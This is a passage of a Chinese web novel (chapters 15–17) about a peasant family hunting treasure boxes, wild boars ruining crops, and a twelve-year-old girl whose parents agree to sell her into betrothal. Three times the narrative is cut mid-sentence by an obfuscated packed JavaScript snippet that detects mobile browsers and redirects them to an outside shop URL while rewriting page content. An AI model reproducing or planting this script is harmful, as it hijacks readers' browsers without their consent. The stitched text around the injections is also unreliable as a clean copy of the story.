“嗯。”李柳叶点了点头,又提醒道:“还有小铁丝小银丝。”她指了指柴房。 “我晓得。” 闲聊着就到了半夜,三人长腿倒腾得快,飞速上了山。 15. 野猪糟蹋庄稼 扒拉了设下的陷阱,一无所获,赵夏至挠挠头,不应该啊,没有野猪,怎么野兔野鸡也没有? 赵二刚和李柳叶倒是接受良好,尤其是李柳叶,这捕猎哪里次次都有收获?她看了看陷阱不需要重新布置,便不管了。 “咱们找找有没有木箱子。”赵夏至低声说,来都来了,不可能就这样回去。见爹娘点头,她走动的同时碎碎念,“你们说马老大的木箱子在哪里找到的?” “不知道,不过依照现在的情况看,只怕这些木箱子散落在各处,谁能找到全凭运气。”赵二刚说,甭看村民们对马老大的私藏行为看不惯,可要是换作他们是马老大,照样会那样做。 “诶哟。”赵夏至一个踉跄,赶紧扶稳了旁边的树干,“什么东西拌我?”她以为又是那些树根,定睛一看,顿时喜形于色,“是木箱子,是木箱子!” 这运气也太好了吧? “让开点,我和你娘挖。”赵二刚说,一回生二回熟,这次夫妻俩很快把木箱子挖出来。他掂量了一下重量,“比上次那个重,但是应当比马老大发现的那个轻。” 李柳叶蹲下仔细看了看锁头,“也是好锁头,先别弄坏,到时候能用得上。”她也不怕被发现,毕竟马老大家里的箱子没有锁,联系不到一起。 “抬下去,咱们手脚得快一些。”赵二刚与李柳叶一前一后抬着,赵夏至在中间照明,这回他们特意绕了路,从背面回家。 到了家,赵夏至蹑手蹑脚帮着搬来柴,等箱子藏进去了,又遮盖起来。多了两个箱子,这柴房的柴看着就不少,不过平日里他们经常捡柴,倒也不会让人怀疑。 “明儿抓紧砍木头,等弄好了门窗再捣鼓铁丝开箱子。”李柳叶催促,这不早点知道里头有什么,她这颗心总是惦记着。 “我晓得。”赵二刚躺下,又忍不住面向李柳叶,炫耀似的拍拍自己胸口,“咋样,我干这事不错吧?没想到还能得到一把杀猪刀,老天都在帮我们。”他咧开嘴笑,既让马家倒霉了,又得了好处。 真是做梦都做不来的美事! “嘴贫。”李柳叶嗔怪,她也笑了笑,如今这日子挺舒服,她跟二刚脚踏实地种地,夏至又得上天庇佑,隔两日就让一家子吃上肉,等这茬粮食收了,今年也就慢慢好起来了。 想到了粮食,她忍不住说道:“那官差没有骗我们,这稻子真的比咱们以前种的要好,这般干旱的天气也能长好,我瞧着到最后一亩地收个二百斤粮都是少的。你说,这新的粮种怎么来的?” “我哪儿知道,不过管它哪里来的,我们得益处了就行,诶对了,如今只需要浇水,院子里的地要不要挑些泥土回来先翻好,回头要是在山上找到了野葱野姜什么的还能移栽回来,烤鸡烤鱼也能有个调味。”赵二刚不是那等不入厨房的男人,说起种菜的规划头头是道,“这还有两三个月才到冬日,运道好些,种一茬菜能收获了。就是种子难找,我托柏叔留意留意。” 他爹赵富银跟赵柏是隔房的堂兄弟,关系一般般,不过他跟赵柏这个堂叔倒是关系不错,先前他有些好东西需要卖都会先问过赵柏他们家要不要,赵柏一家嘴巴也紧,从来没有漏过风。 这你来我往,就有一种默契在里头。 “还有我还有我,等我找到了野鸡野兔,咱们留着下蛋生小兔子,那就每日都能有鸡蛋和肉吃。娘说过,兔子能生很多,吃不完还能拿出去卖。”赵夏至畅想起来,傻笑了一会儿,不过过了一会儿,她又抽鼻子,嘟囔道:“可是我们家有了那么多东西,要给爷爷奶奶,给他们也没什么,但是爷奶会把东西分给大伯三叔。” 古代孝道为重,她爹能用借口忽悠村民一时但忽悠不了一世,要是她们家过得好却不顾着爷奶,肯定会有流言蜚语。 “唉。”李柳叶叹气,“我也是这样想,给你爷爷奶奶倒没什么,可他们转个手,给了大房三房,你三叔还没什么,但是你大伯大伯母,贪得无厌。”有了第一次就想要第二次,她还不了解赵大刚和何金花? “这事交给我解决。”赵二刚躺平,看着屋顶说道:“给东西么,我也想过很多法子。躲肯定是躲不过去,不然总有这些那些的麻烦事。爹娘不是喜欢分东西吗?如果我们给菜和肉就给半份,他们自己要留下一点,那剩下的那一点再分半那就不够看了,无论怎么分都会引起那两房的不顺心。” 大房会觉得三刚占了便宜,三刚又觉得哥嫂蹭吃蹭喝。 “诶,爹娘让我们换房子那次不就是这样?”李柳叶忽然想起来,反正自那次之后,房子没换成,大房和三房还闹得更不愉快了。 “是,总之把事儿丢给他们自个,我们等着看戏就行。两个都被惯坏了,总想着爹娘养,爹娘又指望我,呵,甭想。”赵二刚都想好了,以后凡是送个什么东西都得在村子里走个两圈,哪怕是一根葱,也得让小赵村上下都知道他们二房多孝顺! 听着听着,赵夏至睡过去了,只要自家没有吃亏,她就能舒舒服服。 天色刚刚亮了,赵夏至还在睡梦中吃着大鸡腿红烧肉,忽然一声鸡叫把她吵醒了,她揉揉眼,村里哪里来的鸡?她顶着鸡窝头出门,才发现是马婆子和赵草儿在大喊大叫,声音极其尖利。 “发生了什么事?”菊红扶着门框观望。 赵夏至还没说话,就听见了叔爷爷赵柏的声音,赵柏扯着嗓子喊,“野猪下山糟蹋庄稼了,大家伙快点看自家的田,快点快点,都被睡了——” 后半段没听全,赵夏至就像一阵风一样跑了出去,地里的稻谷可是关乎接下来能不能吃饱的,不能有损失。她家的田分散,一连跑了几处她才松了一口气,摸着砰砰跳的心,她缓气:还好还好,都没事。 赵二刚与李柳叶跟在她身后,齐齐长舒气,“咱们家没事。” 三人慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697184|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠往回走,站在田埂上看见了哭爹喊娘的赵草儿,王大财在一旁捶胸口,远处的马婆子已经发不出声音了,只呆愣愣站在那里。 赵二刚回头看了看赵夏至,“你去煮粥吧,回头这些事我和你娘再跟你说。” “好。”赵夏至说,她饿了,想吃东西。 村头,她跟其他孩子淘米烧火,有几个娃娃没来,听织花说他们家里的稻子被踩了吃了,所以来不了。 粥好了,赵夏至捧回去放凉,家里离村口近就有这个好处,干啥都方便。 她刚喝完粥,就看见爹娘回来了,“怎么处理啊?”这都准备七月下旬了,再种也来不及了吧? “还没说出个章程,你叔公愁得头发都掉了几根。”粥刚好入口,赵二刚稀里呼噜喝干净,一抹嘴,说道:“我看难解决,官差不是说了么?粮种发下来之后能种出多少全看自个,我觉着官府肯定不管这些。让我们自己弄,柏叔也帮不了。” “马老大,马老二,马老三,王大财,绿柳,胡香,这几家就是被野猪拱了地。”李柳叶一一说出来,“前面三户人数少,剩下的种出来也够一天一顿饱,其他几个可不好活。” 聊完这些,二人匆匆起身,今天活计不少,给地浇水,防着野猪,还要上山砍木头。 赵夏至收拾好碗,琢磨着要上山还是下河,正想着呢,大丫来找她,“夏至,捡柴吗?听说山上还有野鸡蛋,没准儿我们能捡到。” “今天我下河,不去山上。”赵夏至摇摇头,野猪发了性,难保不会在山边晃悠,她们这些小孩子遇上了很危险。这么想着,她也就劝大丫和三春,“你们也别去了,不安全,过几日呗,反正也不缺那点柴火。” 三春点头,“是啊姐,现在捡柴得进到里面,万一碰上了野猪咋整?”那些叔伯都按不住一头野猪,她们够呛。 “可是,可是娘让我们捡柴,要是捡不够,会骂我们的。”大丫犹犹豫豫,她也怕,但是一想到娘亲那个大嗓门,一时之间想不出来选哪个更好。 “挨一顿骂又咋了,反正不会打我们。”三春撅嘴,“娘咋不让大哥和小弟干?他们两个跑得快。” “那,那就这一回?”大丫脖子一缩,说出口又反悔了,“不行不行,奶也会说我们的。”打小她就听得多了,她奶让她多帮着干活,说她爹不容易。 三春叹气,看向赵夏至,“你去不去?” “不去。”赵夏至说,她见大丫和三春手挽手走了,便回家拿盆,想着河边能不能有点收获。 才刚到河边,就看见几个小子在河里玩水,她目不斜视,正准备越过桥,余光一瞥,看见了一道身影慢慢走过来,是个女人,头发全部挽起,服服帖帖地用一根木簪固定。 身上的衣裳是一件洗得半褪色的棉布,手上捏着一张帕子,赵夏至眼尖地看见帕子上还绣着花,真别致。 这谁啊? 16. 媒婆 “诶娃娃,别走,停一会儿。”女人连忙喊住赵夏至,她到了跟前,笑着问道:“你们这里是小赵村?我打听个事。” “你是谁?干什么的?”赵夏至反问,她上上下下打量这个女人,手腕暗自用力,防备着她,要是她不老实,她手里的木盆可就不讲道理了! “诶呦谁家养得娃娃这么机灵,别怕,我不是坏人,你可以叫我何姑,我是住六安镇上的,来你们这里找人。”何姑解释说,她长着一张圆饼子脸,嘴比较大,笑起来能看见缺了一颗牙。 六安镇?淮安县一共六个镇,其中六安镇算是比较穷的,小赵村也属于六安镇。 “你找谁?”赵夏至没完全放下警惕,看见来打水的叔叔婶婶就开口喊过来,声音响呱呱,“你跟他们说,他们肯定知道。” 她不掺和这些,反正要真的有什么事,过后也能听见。她就怕何姑不怀好意,所以防着。 鱼和虾子,泥鳅和王八,在哪里?赵夏至心里念念叨叨,走了老远,一无所获。河水泛着光,她瞧了瞧,靠近,岸边河底有个东西被冲洗着,要露不露,她伸长手拨弄,扒拉开石头,找到了一根素的银簪子,上边只有几道云纹装饰。 把银簪子藏好,赵夏至第一个反应是,家里木箱子的锁是不是能开了? 美滋滋地拎着空盆回去,玩水的驴子看见了,嘲笑道:“没鱼吃,没鱼吃,赵夏至你也不是天天都能打到鱼。”他看不惯赵夏至,一个女娃凭什么能抓到鱼? “你又想挨打?你不仅没鱼吃,你还得挨我的打,还打不过我,略略略。”赵夏至扒着眼皮子嘲讽,“等你什么时候打的过我再说,菜虫子,没有用。” 她迈着八字步走了,背影看上去极其潇洒,徒留被骂的驴子在原地涨红了脸。 赵夏至回来轮班,到她准备煮中午的粥,被她换下来的孩子就能干自家的活。 才把柴烧起来,她就看见了何姑从织花家出来,这是她家亲戚? 中午,赵二刚与李柳叶拖回来几根木头,赵夏至拿了粥过来,指着地上的工具,“叔公帮我们登记好了,一个月后归还。” “我晓得,赶着做一个月能做好了,门窗加上桌椅,都能搞定。”赵二刚说,他还得帮着田婆子家做,不过早说好的,租借工具的费用就两家平摊,这样大家都能轻松点。 官府体恤,租借的花销不算高。 一口气用完午饭,赵二刚呼哧呼哧打理木头,赵夏至则是跟她娘在院里的另外一侧拨弄着泥土,这是专门去中田里挑回来的,规整好就能栽点葱姜和菜。 “娘,今天有个生面孔来我们这里,我刚好遇见,她还拉着我想要问话,不过我喊了大方叔和菊红婶子过去,你听说是什么事了吗?”赵夏至手上忙着,嘴里也闲不住。 “这事,我刚听菊红说,那何姑是个媒婆,来说亲的。”李柳叶解释,她正好瞧见了菊红出来,便喊她,“菊红,来,我们家这雀儿叨叨着今日的何姑,你比我清楚,给她说说,省得她惦记。” “也成。”菊红进来,八卦似的说道:“一开始说是找人,我们让她说个样貌出来她又说不清楚,只说是十五六岁的女孩,后头见我们不给她进村,她才交了口,说是媒婆,有门好亲事要说道说道。” 赵夏至听得入神,问道:“她都没有来过我们村,怎么就来说亲?”她日日在村口晃悠,来个人绝对瞒不过她的眼睛。 “我们也是这么问的,她就说她的一个亲戚是官差,从他那里打听到我们村有两个好女孩,这不就来了。”菊红说。 “十五六岁的……胡香家的陈月月,还有王大财家的王春燕,就这两个了。”李柳叶仔细回忆,小赵村里的大女娃还真没有多少,先前逃难,熬不住的人家把大的女儿卖掉,仅有那些年纪小的或是家里人爱的跟着到了这里。 王大财想要卖二女儿王春燕,不过被赵草儿阻止了,说是家里那么多口人,得留着这个女儿帮着干活。而陈月月跟她娘亲胡香相依为命,胡香爱她,断然舍不得卖。 “就是她们,何姑上了两家的门,不过没一会儿就出来,后面又去了赵树家,去干什么的我就不知道了。”菊红说。 待菊红走后,李柳叶就低声说道:“莫不是赵树家里有谁要说亲?那也不应该啊,最大的织花才十二岁,还不到时候。” 逃难亏了几年,十二岁看着像十岁,甭管男女,这得再养几年才能嫁娶呢。 隔了几户的赵树家里正谈着这事,金钗特意把几个孩子支使出去,与赵树窃窃私语,“你就给个准话,嫁不嫁织花。” “前头才闹出了事端,你这转眼又要把她嫁了,她才十二岁,这,我叔叔他也不能同意啊。”赵树可太清楚赵柏的性子了。 “这也怕那也怕,你到底怕什么。我们是她的父母,给她说亲事那是天经地义的事,轮得到别人家闹腾不同意吗?”金钗叉腰,声音忽高忽低,“足足三两银子的聘礼,咱们家几年都不一定能存得到,你就知足吧。过了这个村就没这个店了,你自个合计去吧。” “可织花才十二岁。”赵树明显意动,三两银子,便是灾年之前他也赚不到,如今现成就有。 “这有什么,我们只是给她定了,又不是让她现在就嫁过去,何姑都说了,缓个一两年再成亲也是可以的。正好趁着这个时间问那边要点补品,就说给织花补身体,以后好生养。这东西到了咱们家,还不是由我们两个做主,到时候一家子都能吃上,不是挺美的?”金钗幻想,“还有,三两银子还能用在石头上,你想不想挡秀才公的爹?让他去读书咋样,我看石头保准能考上。” “这……再接触接触吧,回头我去镇上打听打听那家子好不好。”赵树到底念着织花是他女儿。 “还看呢,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697185|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑和我说,她不止帮着相看一个,还有好几个女孩,也不一定就是织花了,三两聘礼放在哪里都不孬,你以为只有咱们家有女儿?”金钗观望着赵树的神色,又添了一把火,“你不是说织花以后是个富贵命?我觉着这就是她的富贵命,嫁过去富户那里当少奶奶,多好的命。” “可当年那个大师说得是她命里是当官夫人的,这富户……咋样也不是吧。”赵树犹犹豫豫,“官夫人跟少奶奶,差得远。” 金钗背地里翻了一个白眼,“你就不许人家后头才考了功名?罢了,你且想吧,明儿何姑再来,我去回了话,就说你舍不得孩子。不过可别怪我没有提醒你,织花能看不顺眼我,过两年就能看不顺眼你,到时候你可做不了她的主。” “等等。”赵树怕着好事飞了,一咬牙,到底还是决定让织花许配给那一户,“就说咱们答应了,要快些送来聘礼。” “成。”金钗喜滋滋地说道,已经掰着手指头算该如何花那银子。 躲在墙角偷听的织花一下子捂住嘴,眼泪蓄积,她怎么也没想到她爹那么狠心,要把她卖了,这面都没有见过,就要她嫁,怎么使得? 如今刚过了响午,日头烈着,织花偷偷跑出门,趁着道上没人,她本来想着去找赵夏至,可又想到赵夏至曾经叮嘱过她,她们明面上不能显得太亲近,想了想,她一个人跑到了山脚下。 * 吃完了晚上那顿,天还亮着,赵柏把村里人聚集在村口,是为了野猪的事。 “野猪来了一次就有第二次,咱们总不能等着,今晚安排人守夜,明日一早又使人上山打野猪,成不成?两拨人交替着来,也就累这几日,打到野猪了还能吃上肉。”赵柏说,至于被野猪糟蹋了的地,只能自认倒霉,他今日问过了,官府不管这些。 村民们大多数同意了,少部分不同意的也没辙,但到了安排人的时候又吵吵嚷嚷,有的觉得守夜辛苦,有的觉得打野猪万一伤着了怎么办。 “都别吵,各自报名,没影儿的事吵什么。”赵柏吼道,自从安定下来,这些小心思真是越来越多。 赵二刚去了守夜,李柳叶去打野猪,至于赵夏至,还要熬粥,明日早上的粥得早些煮,吃了再上山。 好不容易排好,赵夏至寻摸两眼,她爷和小叔都没有报名,大伯报了上山。也不知她大伯母跟她奶说了什么,她奶凑过来,“老二媳妇,你身手好,看着点老大,别让他伤着了。” 李柳叶贼大声地说道:“娘,我知道了,我会帮忙看着大哥的,大哥可比打野猪重要多了。” 刷刷刷,所有人的视线扫过来,赵柏的脸色瞬间黑了,李柳叶是打野猪的主力,她怎么能够分心?他这个嫂子心里怎么就没个算盘? “大刚,你要是脚软就别去了,跟你弟守夜去。”赵柏一锤定音。村里人都说赵大刚运气好,可他看出猫腻了。 17. 织花求助 “夏至,夏至。” 第二日一早,天刚擦着亮起,赵夏至蹲着淘米,织花在她旁边喊了她两声。 眼见着其他孩子都睡眼朦胧,赵夏至低声应了,“什么事?” “我有事儿想请你帮忙。”织花比了个手势,“有报酬的。” 赵夏至没有立即答应,而是琢磨到底会是什么事,何姑被金钗迎进门,莫不是跟织花有关系?想了想,她说道:“我得先想想,等会吃完了粥山脚见。” 说罢她就起身,没与织花聊太久。她家够惹眼得了,要是被人疑心是她唆使了织花反抗父母,唾沫星子都能把她淹死。 织花乱成一团的心慢慢平静下来,哪怕赵夏至还没有答应,可是她也没有那么无助了。这一回,这一回她一定全听赵夏至的话。 喝完了粥,赵夏至站在家门口目送她娘亲离去,心里期盼着事情要顺顺利利。 “走吧,你娘厉害着呢,没事的。”赵二刚语气骄傲地说道,他拍了拍赵夏至的肩膀,“昨儿你说有什么给我们看看?一时间忙起来都忘记了。” “对。”赵夏至一拍脑袋,跑回去从灶台缝隙里拿出那根素银簪子,“看!我在河里找到的,爹,这个尖尖的地方能不能用来撬锁?”趁着赵二刚接过去仔细看,她又叨叨,“昨儿你去守夜,我给娘看了,娘说等你回来捣鼓捣鼓,要是能开锁,加上她打了野猪回来,那就是双喜临门。” “我试试,你去守着门。”赵二刚说,他来到柴房,小心翼翼挪开木柴,露出锁头,他把簪子的尾部用木头锤两个弯,随后伸进锁孔戳弄,咔哒的一声过后,锁开了。如法炮制,他又开了第二把锁。 现在是白日,不适合搬开木头开箱子,动静太大了,他把簪子拿回灶台放好,在门口对赵夏至说道:“开了,晚上咱们再看。” “好。”赵夏至按耐住激动的心情,又跟赵二刚说起织花的事,“我现在就出门,刚我还看见她往山脚去了,估摸着是等我。” “去吧,有什么不懂的回来问我。”赵二刚说,能把织花逼得向他闺女找帮助,肯定是什么天大的坏事,他怕夏至拿不定主意。 “嗯。”赵夏至点头,看见赵二刚拿起扁担和木桶,便问道:“爹不睡觉?” “睡什么,浇水,地可是我们的宝贝,亏了我也不能亏了它。再说,一天不睡算什么,你忘了从前咱们逃难几天合不拢眼都是有的,这点子困算什么。”赵二刚拎着两样工具风风火火地往河边去,他计划着浇完五亩地就回来弄门窗,累点算什么?有盼头了,再累那也是值得的! 赵夏至被她爹鼓舞到了,走路都快几分,不过走到一半还是变慢了,累脚,脚趾头顶着鞋面,不舒服。她这双鞋是捡的,路过城里时碰巧大户人家的夫人出来做慈善,她瞅准机会冲上去抢到了几双,她们一家三口一人一双。 本来就不合脚,如今她还在长身体,过不了多久就穿不了了。 到了山脚下,赵夏至吹了两个口哨,织花站在树下朝她招招手,“这儿。” “怎么了?”赵夏至走过去,直截了当地问道,“是跟何姑有牵扯?” “你怎的知道?”织花一惊,转念一想赵夏至那么聪明,肯定猜到了,她便不再隐瞒,带着哭腔说道:“怎么办夏至,我爹,我爹要把我卖掉。那个,那个何姑来说亲,镇上的一户人家要出三两聘礼娶媳妇,我爹和我娘想要三两,合计要卖了我。” 赵夏至听了,挠挠头,“可那个何姑一开始不是去了胡香婶子和草儿婶子家吗?我以为是去给那两个姐姐说亲的,怎么又说到你身上去了?你才十二,你爹娘干这种事也不怕被村里的人说嘴。” “胡香婶子不肯嫁月月姐姐,王大财又想要五两聘礼,何姑不肯,出了门被我娘拉走,转头去我家。”织花抽抽噎噎,眼泪止不住地流,“我都知道的,三两……那不是卖是什么?卖了,我以后就没有娘家,要是被人欺负,谁帮我呢?” 赵夏至心说,你这个娘家有和没有好像没什么区别,哪怕你是正正经经婚嫁,要是遇上了事,赵树和金钗还能为你讨回公道? “那你想怎么做?” 织花迷茫,“我……我不知道,我就是想不明白才来找你,夏至,你懂得多,你觉得我该怎么做?” “这个难办,你要是闹,你爹你娘狠了心要卖你,那你也没辙,村里的其他人很难管,便是叔公是村长也伸不进去手。”赵夏至说,赵树和金钗想饿死织花村里人能管一管,可是换作嫁娶这种事,赵柏也不好插手。 父母之命媒妁之言,村里人觉得这是一条定律。 “我该咋办?我,难道我真的得被卖了?”织花哭喊,“我能闹吗?闹出这一回,他们就不敢了。” “这回没了保不住还有下一回,除非你不作他们的女儿。”赵夏至摇摇头,要是在现代,织花还能一跑了之,可是这是古代,要是织花逃离,不消一天两天就会被送回来。 “不当他们的女儿?这是啥意思?”织花脸上还挂着泪,她听出来赵夏至想到办法了,便使劲儿拉了她的手,“你帮帮我,你要是想到法子帮了我,这一辈子我都记着你的好。还有还有,我不是说会有报酬吗?我昨天下午上山,自己一个人走,找到了一个兔子窝,有五六只兔子跑出来,我等下带你去。” 赵夏至没说话,评估着风险呢,她帮人归帮人,可不能搭上自己家,要是让家里被麻烦事缠上,她宁愿不要这几只兔子。瞅了瞅泪眼朦胧的织花,她叹息,说起来,织花与她还是隔着好几房的堂姐妹,有一回她捡柴划到手臂,还是织花帮着她一起抬柴下山。 她虽然性子软绵了一些,到底是个善良的女娃。心思百转千回,赵夏至低声说道:“这件事我也不知道成不成,我只给你指一条明路,能不能逃离,得看老天帮不帮你。” “什么法子?” “你叫菊红婶子伯娘,喊田奶奶一声奶奶,这关系多亲近。富贵叔和你爹虽然没有血缘,但是从前救过你爹,有这个恩情在。如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697186|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今富贵叔和竹子不在了,她们婆媳俩没有小辈,要是她们想,当然能过继一个。”赵夏至努努嘴,马老大惦记田婆子与菊红的家当,她的爹娘能帮一时帮不了一世,既如此,不如寻一个两全其美的办法一并解决两桩事。 “女孩也能过继啊,日后招婿不就行了?我想,田奶奶和菊红婶子也会更想要一个女娃。”昨天菊红婶子来说八卦的时候,她娘亲也问到这个事情,说起她们两个将来怎么过,菊红婶子透露说她不打算再嫁,想着寻个孩子回来给她们养老,但又觉着村里男娃都不行。 村子里男娃娃不少,但是要么大了养不亲,要么还小,怕养着养着没了。至于十岁左右那些挑来挑去也就那样,不行。 “你是让我当菊红伯娘的女儿?”织花吃惊,一双手搅在一起,“可,可我,菊红伯娘,她其实对我蛮好的。”她打小没了亲娘,这还是逃难时才在田菊红和李柳叶两位伯娘身上才感受到那么一点亲娘般的关心。 “错了,不是我让你做,是你自己与菊花婶子有没有缘分,你要是下定决心了就去问问,田奶奶厉害,之后的事指定能帮你处理好。”赵夏至说,能不能成事还得看田婆子。 “不过别用你的不容易去威胁她们,因为多少会影响你们的关系。” 面对赵夏至的提点,织花直愣愣点了点头,脑子里的迷雾被拨开,先前她以为很难的事如今好像能被她自己解决? “我会尽力去做的,要是,要是她们不愿意,我也不怪任何人,只怪我自己命不好。”织花已经预备拼一把,“我爹还说我是什么官夫人的命,我过得那么苦,怕是最贱的命了。” 官夫人?赵夏至安慰她,“命是说不准的,以后的事谁能保证?” “说的也是。”织花抹了一把脸,“不说这个了,我带你去逮兔子,我知道在哪里。” 接下来两人没说话,织花一心想着赶紧下山去问一问田奶奶,赵夏至一心想着打到了兔子该怎么吃。 “就是那儿,我不过去了,你打到了拿回家,我绝对不会跟别人说。”织花先一步下山。 赵夏至瞧见了兔子洞,按照李柳叶教她的办法跪在地上确认了里面有兔子后,随手扯了树上的藤蔓编织出一个简陋的袋子,然后在附近找了找其他洞,把能找到的兔子洞用大石块挡住,只留下两个洞口,用相互缠绕的藤蔓袋子把洞口挡住,她来到另外一个洞口那里,掏出火折子熏烟。 烟顺着通道流进入,不出一会儿里面就有了动静,两只兔子一前一后跑向藤蔓,一出去还没挣扎就被紧紧缠绕住,它们越动藤蔓就收得越紧。 赵夏至又熏了一会儿,眼前忽然闪过一抹白,她下意识地拿起石头砸过去,呱唧,一只肥兔子就被她砸在地上。 “哇。”她心满意足,拎着兔子耳朵又去查看另外一个洞口,“娘教我的真好使。” 藤蔓打得结是特殊的,要是换了麻绳,那是连人都挣脱不了的。 三只,肥兔子,烤肉,嘿嘿。